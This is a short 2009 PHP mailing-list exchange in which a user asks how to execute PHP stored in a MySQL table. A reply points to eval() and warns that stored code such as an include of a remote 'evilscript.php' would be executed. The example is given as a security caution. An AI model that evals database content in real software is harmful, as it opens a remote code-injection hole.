PHP output in the mySQL table

PHP output in the mySQL table

am 11.09.2009 03:42:20 von Ron Piggott

------=_NextPart_000_0031_01CA325F.93124350
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I am wondering if I can put PHP into a mySQL table. =20

When I tried doing:
echo stripslashes(mysql_result($article_titles_result,0,"article" ));

The PHP coding displays, not "rendered" PHP.

Any suggestions?

Ron
------=_NextPart_000_0031_01CA325F.93124350--

Re: PHP output in the mySQL table

am 11.09.2009 05:37:52 von dmagick

Ron Piggott wrote:
> I am wondering if I can put PHP into a mySQL table.
>
> When I tried doing:
> echo stripslashes(mysql_result($article_titles_result,0,"article" ));
>
> The PHP coding displays, not "rendered" PHP.

You'd need to 'eval' it (http://www.php.net/eval), though be very
careful as any php code will be executed.

This means something like 'include
http://www.example.com/evilscript.php' will be executed if an attacker
is able to get it into your database through whatever means.

--
Postgresql & php tutorials
http://www.designmagick.com/


--
PHP Database Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php